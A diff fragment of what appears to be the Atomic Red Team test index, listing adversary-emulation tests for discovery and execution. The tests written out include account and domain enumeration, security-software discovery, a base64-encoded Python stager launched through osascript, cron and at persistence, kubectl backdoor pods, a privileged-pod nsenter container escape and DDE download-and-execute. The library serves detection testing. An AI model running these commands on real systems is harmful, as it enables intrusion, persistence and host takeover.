+53329,7 @@ discovery: Upon execution, progress and info about trusts within the domain being scanned will be displayed. -' + ' supported_platforms: - windows executor: @@ -53320,7 +53343,7 @@ discovery: Upon execution, progress and info about forest trusts within the domain being scanned will be displayed. -' + ' supported_platforms: - windows executor: @@ -53458,7 +53481,7 @@ discovery: description: 'Find or discover files on the file system. Upon execution, file and folder information will be displayed. -' + ' supported_platforms: - windows executor: @@ -53497,13 +53520,13 @@ discovery: which sh cleanup_command: 'rm #{output_file} -' + ' name: sh - name: Nix File and Directory Discovery 2 auto_generated_guid: 13c5e1ae-605b-46c4-a79f-db28c77ff24e description: 'Find or discover files on the file system -' + ' supported_platforms: - macos - linux @@ -53609,7 +53632,7 @@ discovery: auto_generated_guid: f8aab3dd-5990-4bf8-b8ab-2226c951696f description: 'Enumerate all accounts by copying /etc/passwd to another file -' + ' supported_platforms: - linux input_arguments: @@ -53623,7 +53646,7 @@ discovery: cat #{output_file} cleanup_command: 'rm -f #{output_file} -' + ' name: sh - name: View sudoers access auto_generated_guid: fed9be70-0186-4bde-9f8a-20945f9370c2 @@ -53642,14 +53665,14 @@ discovery: cat #{output_file} cleanup_command: 'rm -f #{output_file} -' + ' name: sh elevation_required: true - name: View accounts with UID 0 auto_generated_guid: c955a599-3653-4fe5-b631-f11c00eb0397 description: 'View accounts with UID 0 -' + ' supported_platforms: - linux - macos @@ -53664,26 +53687,26 @@ discovery: cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null -' + ' name: sh - name: List opened files by user auto_generated_guid: 7e46c7a5-0142-45be-a858-1a3ecb4fd3cb description: 'List opened files by user -' + ' supported_platforms: - linux - macos executor: command: 'username=$(id -u -n) && lsof -u $username -' + ' name: sh - name: Show if a user account has ever logged in remotely auto_generated_guid: 0f0b6a29-08c3-44ad-a30b-47fd996b2110 description: 'Show if a user account has ever logged in remotely -' + ' supported_platforms: - linux input_arguments: @@ -53695,28 +53718,28 @@ discovery: dependencies: - description: 'Check if lastlog command exists on the machine -' + ' prereq_command: 'if [ -x "$(command -v lastlog)" ]; then exit 0; else exit 1; -' + ' get_prereq_command: 'echo "Install lastlog on the machine to run the test."; exit 1; -' + ' executor: command: | lastlog > #{output_file} cat #{output_file} cleanup_command: 'rm -f #{output_file} -' + ' name: sh - name: Enumerate users and groups auto_generated_guid: e6f36545-dc1e-47f0-9f48-7f730f54a02e description: 'Utilize groups and id to enumerate users and groups -' + ' supported_platforms: - linux - macos @@ -53729,7 +53752,7 @@ discovery: auto_generated_guid: 319e9f6c-7a9e-432e-8c62-9385c803b6f2 description: 'Utilize local utilities to enumerate users and groups -' + ' supported_platforms: - macos executor: @@ -53760,7 +53783,7 @@ discovery: description: 'Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed. -' + ' supported_platforms: - windows executor: @@ -53780,26 +53803,26 @@ discovery: description: 'Enumerate logged on users. Upon exeuction, logged on users will be displayed. -' + ' supported_platforms: - windows executor: command: 'query user -' + ' name: command_prompt - name: Enumerate logged on users via PowerShell auto_generated_guid: 2bdc42c7-8907-40c2-9c2b-42919a00fe03 description: 'Enumerate logged on users via PowerShell. Upon exeuction, logged on users will be displayed. -' + ' supported_platforms: - windows executor: command: 'query user -' + ' name: powershell T1069.001: technique: @@ -53843,7 +53866,7 @@ discovery: auto_generated_guid: 952931a4-af0b-4335-bbbe-73c8c5b327ae description: 'Permission Groups Discovery -' + ' supported_platforms: - macos - linux @@ -53882,7 +53905,7 @@ discovery: description: 'This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR) -' + ' supported_platforms: - windows input_arguments: @@ -53906,11 +53929,11 @@ discovery: prereq_command: 'if (Test-Path "#{sharphound_path}") { exit 0 } else { exit 1 } -' + ' get_prereq_command: 'Invoke-WebRequest "https://github.com/BloodHoundAD/BloodHound/blob/e062fe73d73c015dccb37fae5089342d009b84b8/Collectors/SharpHound.exe?raw=true" -OutFile "#{sharphound_path}" -' + ' executor: name: powershell elevation_required: false @@ -53919,19 +53942,19 @@ discovery: & "#{sharphound_path}" -d "#{domain}" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "#{output_path}" cleanup_command: 'Remove-Item -Recurse #{output_path} -' + ' - name: Wmic Group Discovery auto_generated_guid: 7413be50-be8e-430f-ad4d-07bf197884b2 description: 'Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system. -' + ' supported_platforms: - windows executor: command: 'wmic.exe group get name -' + ' name: powershell - name: WMIObject Group Discovery auto_generated_guid: 69119e58-96db-4110-ad27-954e48f3bb13 @@ -53939,13 +53962,13 @@ discovery: groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system. -' + ' supported_platforms: - windows executor: command: 'Get-WMIObject Win32_Group -' + ' name: powershell T1046: technique: @@ -54041,15 +54064,15 @@ discovery: dependencies: - description: 'Check if nmap command exists on the machine -' + ' prereq_command: 'if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'echo "Install nmap on the machine to run the test."; exit 1; -' + ' executor: command: | nmap -sS #{network_range} -p #{port} @@ -54074,7 +54097,7 @@ discovery: dependencies: - description: 'NMap must be installed -' + ' prereq_command: if (cmd /c "nmap 2>nul") {exit 0} else {exit 1} get_prereq_command: | Invoke-WebRequest -OutFile $env:temp\nmap-7.80-setup.exe #{nmap_url} @@ -54087,7 +54110,7 @@ discovery: auto_generated_guid: 6ca45b04-9f15-4424-b9d3-84a217285a5c description: 'Scan ports to check for listening ports with python -' + ' supported_platforms: - windows input_arguments: @@ -54103,17 +54126,17 @@ discovery: dependencies: - description: 'Check if python exists on the machine -' + ' prereq_command: 'if (python --version) {exit 0} else {exit 1} -' + ' get_prereq_command: 'echo "Python 3 must be installed manually" -' + ' executor: command: 'python #{filename} -i #{host_ip} -' + ' name: powershell T1135: technique: @@ -54177,7 +54200,7 @@ discovery: auto_generated_guid: f94b5ad9-911c-4eff-9718-fd21899db4f7 description: 'Network Share Discovery -' + ' supported_platforms: - macos input_arguments: @@ -54195,7 +54218,7 @@ discovery: auto_generated_guid: 875805bc-9e86-4e87-be86-3a5527315cae description: 'Network Share Discovery using smbstatus -' + ' supported_platforms: - linux input_arguments: @@ -54211,16 +54234,16 @@ discovery: dependencies: - description: 'Package with smbstatus (samba) must exist on device -' + ' prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit 1; fi -' + ' get_prereq_command: "sudo #{package_installer} \n" executor: command: 'smbstatus --shares -' + ' name: bash elevation_required: true - name: Network Share Discovery command prompt @@ -54238,7 +54261,7 @@ discovery: executor: command: 'net view \\#{computer_name} -' + ' name: command_prompt - name: Network Share Discovery PowerShell auto_generated_guid: 1b0814d1-bb24-402d-9615-1b20c50733fb @@ -54250,7 +54273,7 @@ discovery: executor: command: 'get-smbshare -' + ' name: powershell - name: View available share drives auto_generated_guid: ab39a04f-0c93-4540-9ff2-83f862c385ae @@ -54262,28 +54285,28 @@ discovery: executor: command: 'net share -' + ' name: command_prompt - name: Share Discovery with PowerView auto_generated_guid: b1636f0a-ba82-435c-b699-0d78794d8bfd description: 'Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed. -' + ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Endpoint must be joined to domain -' + ' prereq_command: 'if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1} -' + ' get_prereq_command: '"Join system to domain" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -54360,15 +54383,15 @@ discovery: dependencies: - description: 'Check if at least one of the tools are installed on the machine. -' + ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; -' + ' get_prereq_command: 'echo "Install tcpdump and/or tshark for the test to run."; exit 1; -' + ' executor: command: | tcpdump -c 5 -nnni #{interface} @@ -54392,15 +54415,15 @@ discovery: dependencies: - description: 'Check if at least one of the tools are installed on the machine. -' + ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; -' + ' get_prereq_command: 'echo "Install tcpdump and/or tshark for the test to run."; exit 1; -' + ' executor: command: "sudo tcpdump -c 5 -nnni #{interface} \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;\n" @@ -54441,14 +54464,14 @@ discovery: - description: 'tshark must be installed and in the default path of "c:\Program Files\Wireshark\Tshark.exe". -' + ' prereq_command: if (test-path "#{tshark_path}") {exit 0} else {exit 1} get_prereq_command: | Invoke-WebRequest -OutFile $env:temp\wireshark_installer.exe #{wireshark_url} Start-Process $env:temp\wireshark_installer.exe /S - description: 'npcap must be installed. -' + ' prereq_command: if (test-path "#{npcap_path}") {exit 0} else {exit 1} get_prereq_command: | Invoke-WebRequest -OutFile $env:temp\npcap_installer.exe #{npcap_url} @@ -54456,7 +54479,7 @@ discovery: executor: command: '"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5 -' + ' name: command_prompt elevation_required: true - name: Windows Internal Packet Capture @@ -54529,57 +54552,57 @@ discovery: auto_generated_guid: '085fe567-ac84-47c7-ac4c-2688ce28265b' description: 'Lists the password complexity policy to console on Ubuntu Linux. -' + ' supported_platforms: - linux executor: command: 'cat /etc/pam.d/common-password -' + ' name: bash - name: Examine password complexity policy - CentOS/RHEL 7.x auto_generated_guid: 78a12e65-efff-4617-bc01-88f17d71315d description: 'Lists the password complexity policy to console on CentOS/RHEL 7.x Linux. -' + ' supported_platforms: - linux dependencies: - description: 'System must be CentOS or RHEL v7 -' + ' prereq_command: 'if [ $(rpm -q --queryformat ''%{VERSION}'') -eq "7" ]; then exit /b 0; else exit /b 1; fi; -' + ' get_prereq_command: 'echo Please run from CentOS or RHEL v7 -' + ' executor: command: 'cat /etc/security/pwquality.conf -' + ' name: bash - name: Examine password complexity policy - CentOS/RHEL 6.x auto_generated_guid: 6ce12552-0adb-4f56-89ff-95ce268f6358 description: 'Lists the password complexity policy to console on CentOS/RHEL 6.x Linux. -' + ' supported_platforms: - linux dependencies: - description: 'System must be CentOS or RHEL v6 -' + ' prereq_command: 'if [ $(rpm -q --queryformat ''%{VERSION}'') -eq "6" ]; then exit /b 0; else exit /b 1; fi; -' + ' get_prereq_command: 'echo Please run from CentOS or RHEL v6 -' + ' executor: command: | cat /etc/pam.d/system-auth @@ -54589,43 +54612,43 @@ discovery: auto_generated_guid: 7c86c55c-70fa-4a05-83c9-3aa19b145d1a description: 'Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. -' + ' supported_platforms: - linux executor: command: 'cat /etc/login.defs -' + ' name: bash - name: Examine local password policy - Windows auto_generated_guid: 4588d243-f24e-4549-b2e3-e627acc089f6 description: 'Lists the local password policy to console on Windows. -' + ' supported_platforms: - windows executor: command: 'net accounts -' + ' name: command_prompt - name: Examine domain password policy - Windows auto_generated_guid: 46c2c362-2679-4ef5-aec9-0e958e135be4 description: 'Lists the domain password policy to console on Windows. -' + ' supported_platforms: - windows executor: command: 'net accounts /domain -' + ' name: command_prompt - name: Examine password policy - macOS auto_generated_guid: 4b7fa042-9482-45e1-b348-4b756b2a0742 description: 'Lists the password policy to console on macOS. -' + ' supported_platforms: - macos executor: @@ -54804,7 +54827,7 @@ discovery: ps aux >> #{output_file} cleanup_command: 'rm #{output_file} -' + ' name: sh - name: Process Discovery - tasklist auto_generated_guid: c5806a4f-62b8-4900-980b-c7ec004e9908 @@ -54816,7 +54839,7 @@ discovery: executor: command: 'tasklist -' + ' name: command_prompt T1012: technique: @@ -54984,7 +55007,7 @@ discovery: executor: command: 'net group "Domain Computers" /domain -' + ' name: command_prompt - name: Remote System Discovery - nltest auto_generated_guid: 52ab5108-3f6f-42fb-8ba3-73bc054f22c8 @@ -55002,7 +55025,7 @@ discovery: executor: command: 'nltest.exe /dclist:#{target_domain} -' + ' name: command_prompt - name: Remote System Discovery - ping sweep auto_generated_guid: 6db1f57f-d1d5-4223-8a66-55c9c65a9592 @@ -55015,7 +55038,7 @@ discovery: executor: command: 'for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i -' + ' name: command_prompt - name: Remote System Discovery - arp auto_generated_guid: 2d5a61f5-0447-4be4-944a-1f8530ed6574 @@ -55026,7 +55049,7 @@ discovery: executor: command: 'arp -a -' + ' name: command_prompt - name: Remote System Discovery - arp nix auto_generated_guid: acb6b1ff-e2ad-4d64-806c-6c35fe73b951 @@ -55041,18 +55064,18 @@ discovery: dependencies: - description: 'Check if arp command exists on the machine -' + ' prereq_command: 'if [ -x "$(command -v arp)" ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'echo "Install arp on the machine."; exit 1; -' + ' executor: command: 'arp -a | grep -v ''^?'' -' + ' name: sh - name: Remote System Discovery - sweep auto_generated_guid: 96db2632-8417-4dbb-b8bb-a8b92ba391de @@ -55080,7 +55103,7 @@ discovery: command: 'for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done -' + ' name: sh - name: Remote System Discovery - nslookup auto_generated_guid: baa01aaa-5e13-45ec-8a0d-e46c93c9760f @@ -55125,35 +55148,35 @@ discovery: dependencies: - description: 'Computer must have python 3 installed -' + ' prereq_command: 'if (python --version) {exit 0} else {exit 1} -' + ' get_prereq_command: 'echo "Python 3 must be installed manually" -' + ' - description: 'Computer must have pip installed -' + ' prereq_command: 'if (pip3 -V) {exit 0} else {exit 1} -' + ' get_prereq_command: 'echo "PIP must be installed manually" -' + ' - description: 'adidnsdump must be installed and part of PATH -' + ' prereq_command: 'if (cmd /c adidnsdump -h) {exit 0} else {exit 1} -' + ' get_prereq_command: 'pip3 install adidnsdump -' + ' executor: command: 'adidnsdump -u #{user_name} -p #{acct_pass} --print-zones #{host_name} -' + ' name: command_prompt elevation_required: true - name: Adfind - Enumerate Active Directory Computer Objects @@ -55172,14 +55195,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -f (objectcategory=computer)\n" name: command_prompt @@ -55199,14 +55222,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -sc dclist\n" name: command_prompt @@ -55310,7 +55333,7 @@ discovery: executor: command: 'ps aux | egrep ''Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'' -' + ' name: sh - name: Security Software Discovery - ps (Linux) auto_generated_guid: 23b91cd2-c99c-4002-9e41-317c63e024a2 @@ -55322,7 +55345,7 @@ discovery: executor: command: 'ps aux | egrep ''falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd'' -' + ' name: sh - name: Security Software Discovery - Sysmon Service auto_generated_guid: fe613cf3-8009-4446-9a0f-bc78a15b66c9 @@ -55335,7 +55358,7 @@ discovery: executor: command: 'fltmc.exe | findstr.exe 385201 -' + ' name: command_prompt elevation_required: true - name: Security Software Discovery - AV Discovery via WMI @@ -55412,7 +55435,7 @@ discovery: command: 'reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion -' + ' name: command_prompt - name: Applications Installed auto_generated_guid: c49978f6-bd6e-4221-ad2c-9e3e30cc1e3b @@ -55432,7 +55455,7 @@ discovery: software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors -' + ' supported_platforms: - macos executor: @@ -55541,7 +55564,7 @@ discovery: | grep -iE ''Oracle|VirtualBox|VMWare|Parallels'') then echo "Virtualization Environment detected"; fi; -' + ' - name: Detect Virtualization Environment (Windows) auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d description: 'Windows Management Instrumentation(WMI) objects contains system @@ -55551,7 +55574,7 @@ discovery: This is meant to find the result of Not supported, which is the result if run in a virtual machine -' + ' supported_platforms: - windows executor: @@ -55568,7 +55591,7 @@ discovery: the system. If it''s a virtual machine, one of the device manufacturer will be a Virtualization Software. -' + ' supported_platforms: - macos executor: @@ -55578,7 +55601,7 @@ discovery: ''Oracle|VirtualBox|VMWare|Parallels'') then echo ''Virtualization Environment detected''; fi; -' + ' T1082: technique: object_marking_refs: @@ -55646,7 +55669,7 @@ discovery: description: 'Identify System Info. Upon execution, system info and time info will be displayed. -' + ' supported_platforms: - windows executor: @@ -55658,7 +55681,7 @@ discovery: auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6 description: 'Identify System Info -' + ' supported_platforms: - macos executor: @@ -55670,7 +55693,7 @@ discovery: auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c description: 'Identify System Info -' + ' supported_platforms: - linux - macos @@ -55687,14 +55710,14 @@ discovery: #{output_file} 2>/dev/null\n" cleanup_command: 'rm #{output_file} 2>/dev/null -' + ' name: sh - name: Linux VM Check via Hardware auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec description: 'Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware. -' + ' supported_platforms: - linux executor: @@ -55713,7 +55736,7 @@ discovery: description: 'Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware. -' + ' supported_platforms: - linux executor: @@ -55729,40 +55752,40 @@ discovery: description: 'Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed. -' + ' supported_platforms: - windows executor: command: 'hostname -' + ' name: command_prompt - name: Hostname Discovery auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133 description: 'Identify system hostname for Linux and macOS systems. -' + ' supported_platforms: - linux - macos executor: command: 'hostname -' + ' name: bash - name: Windows MachineGUID Discovery auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8 description: 'Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry. -' + ' supported_platforms: - windows executor: command: 'REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid -' + ' name: command_prompt - name: Griffon Recon auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370 @@ -55787,27 +55810,27 @@ discovery: description: 'Identify all environment variables. Upon execution, environments variables and your path info will be displayed. -' + ' supported_platforms: - windows executor: command: 'set -' + ' name: command_prompt - name: Environment variables discovery on macos and linux auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720 description: 'Identify all environment variables. Upon execution, environments variables and your path info will be displayed. -' + ' supported_platforms: - macos - linux executor: command: 'env -' + ' name: sh T1614: technique: @@ -55954,7 +55977,7 @@ discovery: executor: command: 'netsh advfirewall firewall show rule name=all -' + ' name: command_prompt - name: System Network Configuration Discovery auto_generated_guid: c141bbdb-7fca-4254-9fd6-f47e79447e17 @@ -56014,10 +56037,10 @@ discovery: dependencies: - description: 'Test requires #{port_file} to exist -' + ' prereq_command: 'if (Test-Path "#{port_file}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{port_file}) -ErrorAction ignore | Out-Null Invoke-WebRequest "#{portfile_url}" -OutFile "#{port_file}" @@ -56036,7 +56059,7 @@ discovery: | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n" cleanup_command: 'Remove-Item -ErrorAction ignore "#{output_file}" -' + ' name: powershell - name: Adfind - Enumerate Active Directory Subnet Objects auto_generated_guid: 9bb45dd7-c466-4f93-83a1-be30e56033ee @@ -56054,14 +56077,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -f (objectcategory=subnet)\n" name: command_prompt @@ -56190,7 +56213,7 @@ discovery: executor: command: 'Get-NetTCPConnection -' + ' name: powershell - name: System Network Connections Discovery Linux & MacOS auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2 @@ -56205,14 +56228,14 @@ discovery: dependencies: - description: 'Check if netstat command exists on the machine -' + ' prereq_command: 'if [ -x "$(command -v netstat)" ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'echo "Install netstat on the machine."; exit 1; -' + ' executor: command: | netstat @@ -56246,10 +56269,10 @@ discovery: dependencies: - description: 'Sharpview.exe must exist on disk at specified location (#{SharpView}) -' + ' prereq_command: 'if (Test-Path #{SharpView}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{SharpView}) -ErrorAction ignore | Out-Null Invoke-WebRequest #{SharpView_url} -OutFile "#{SharpView}" @@ -56428,10 +56451,10 @@ discovery: executor: command: 'net.exe start >> #{output_file} -' + ' cleanup_command: 'del /f /q /s #{output_file} >nul 2>&1 -' + ' name: command_prompt T1124: technique: @@ -56498,7 +56521,7 @@ discovery: description: 'Identify the system time. Upon execution, the local computer system time and timezone will be displayed. -' + ' supported_platforms: - windows input_arguments: @@ -56516,13 +56539,13 @@ discovery: description: 'Identify the system time via PowerShell. Upon execution, the system time will be displayed. -' + ' supported_platforms: - windows executor: command: 'Get-Date -' + ' name: powershell T1497.003: technique: @@ -60115,7 +60138,7 @@ execution: command: 'osascript -e "do shell script \"echo \\\"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEsdGltZW91dD0zKS5yZWFkKCk7Cg==''));\\\" | python &\"" -' + ' name: sh T1053.001: technique: @@ -60172,7 +60195,7 @@ execution: description: 'This test submits a command to be run in the future by the `at` daemon. -' + ' supported_platforms: - linux input_arguments: @@ -60188,30 +60211,30 @@ execution: dependencies: - description: 'The `at` and `atd` executables must exist in the PATH -' + ' prereq_command: 'which at && which atd -' + ' get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'' -' + ' - description: 'The `atd` daemon must be running -' + ' prereq_command: 'systemctl status atd || service atd status -' + ' get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'' -' + ' executor: name: sh elevation_required: false command: 'echo "#{at_command}" | at #{time_spec} -' + ' T1053.002: technique: external_references: @@ -60308,7 +60331,7 @@ execution: elevation_required: false command: 'at 13:20 /interactive cmd -' + ' T1059: technique: created: '2017-05-31T21:30:49.546Z' @@ -60605,7 +60628,7 @@ execution: a backdoor container, and run their malicious code remotely by using “kubectl exec”. -' + ' supported_platforms: - containers input_arguments: @@ -60620,20 +60643,20 @@ execution: dependencies: - description: 'kubectl must be installed -' + ' get_prereq_command: 'echo "kubectl must be installed manually" -' + ' prereq_command: 'which kubectl -' + ' executor: command: | kubectl create -f src/busybox.yaml -n #{namespace} kubectl exec -n #{namespace} busybox -- #{command} cleanup_command: 'kubectl delete pod busybox -n #{namespace} -' + ' name: bash elevation_required: false T1053.007: @@ -60702,7 +60725,7 @@ execution: CronJob for scheduling execution of malicious code that would run as a container in the cluster. -' + ' supported_platforms: - containers input_arguments: @@ -60713,17 +60736,17 @@ execution: dependencies: - description: 'kubectl must be installed -' + ' get_prereq_command: 'echo "kubectl must be installed manually" -' + ' prereq_command: 'which kubectl -' + ' executor: command: 'kubectl get cronjobs -n #{namespace} -' + ' name: bash elevation_required: false - name: CreateCronjob @@ -60735,7 +60758,7 @@ execution: CronJob for scheduling execution of malicious code that would run as a container in the cluster. -' + ' supported_platforms: - containers input_arguments: @@ -60746,20 +60769,20 @@ execution: dependencies: - description: 'kubectl must be installed -' + ' get_prereq_command: 'echo "kubectl must be installed manually" -' + ' prereq_command: 'which kubectl -' + ' executor: command: 'kubectl create -f src/cronjob.yaml -n #{namespace} -' + ' cleanup_command: 'kubectl delete cronjob art -n #{namespace} -' + ' name: bash elevation_required: false T1053.003: @@ -60818,7 +60841,7 @@ execution: of the referenced file. This technique was used by numerous IoT automated exploitation attacks. -' + ' supported_platforms: - macos - linux @@ -60838,7 +60861,7 @@ execution: echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} cleanup_command: 'crontab /tmp/notevil -' + ' - name: Cron - Add script to all cron subfolders auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0 description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily, @@ -60846,7 +60869,7 @@ execution: schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. -' + ' supported_platforms: - macos - linux @@ -60878,7 +60901,7 @@ execution: to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. -' + ' supported_platforms: - linux input_arguments: @@ -60895,10 +60918,10 @@ execution: name: bash command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name} -' + ' cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -' + ' T1610: technique: external_references: @@ -60985,24 +61008,24 @@ execution: - description: Verify docker is installed. prereq_command: 'which docker -' + ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi -' + ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker -' + ' get_prereq_command: 'sudo systemctl start docker -' + ' - description: Verify kind is in the path. prereq_command: 'which kind -' + ' get_prereq_command: | curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64 chmod +x ./kind @@ -61010,14 +61033,14 @@ execution: - description: Verify kind-atomic-cluster is created prereq_command: 'sudo kind get clusters -' + ' get_prereq_command: 'sudo kind create cluster --name atomic-cluster -' + ' - description: Verify kubectl is in path prereq_command: 'which kubectl -' + ' get_prereq_command: | curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" chmod +x ./kubectl @@ -61027,11 +61050,11 @@ execution: -ti --rm --image alpine --overrides ''{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'' -' + ' name: sh cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-escape-pod -' + ' T1559.002: technique: created: '2020-02-12T14:10:50.699Z' @@ -61108,7 +61131,7 @@ execution: auto_generated_guid: f592ba2a-e9e8-4d62-a459-ef63abd819fd description: 'Executes commands via DDE using Microsfot Word -' + ' supported_platforms: - windows executor: @@ -61131,13 +61154,13 @@ execution: ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download and execute a powershell script -' + ' supported_platforms: - windows executor: command: 'start $PathToAtomicsFolder\T1559.002\bin\DDE_Document.docx -' + ' name: command_prompt - name: DDEAUTO auto_generated_guid: cf91174c-4e74-414e-bec0-8d60a104d181 @@ -61451,7 +61474,7 @@ execution: auto_generated_guid: 6fb61988-724e-4755-a595-07743749d4e2 description: 'Utilize launchctl -' + ' supported_platforms: - macos input_arguments: @@ -61466,10 +61489,10 @@ execution: executor: command: 'launchctl submit -l #{label_name} -- #{executable_path} -' + ' cleanup_command: 'launchctl remove #{label_name} -' + ' name: bash T1053.004: technique: @@ -61610,7 +61633,7 @@ execution: jse_path: description: 'Path for the macro to write out the "malicious" .jse file -' + ' type: String default: C:\Users\Public\art.jse ms_product: @@ -61621,7 +61644,7 @@ execution: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | 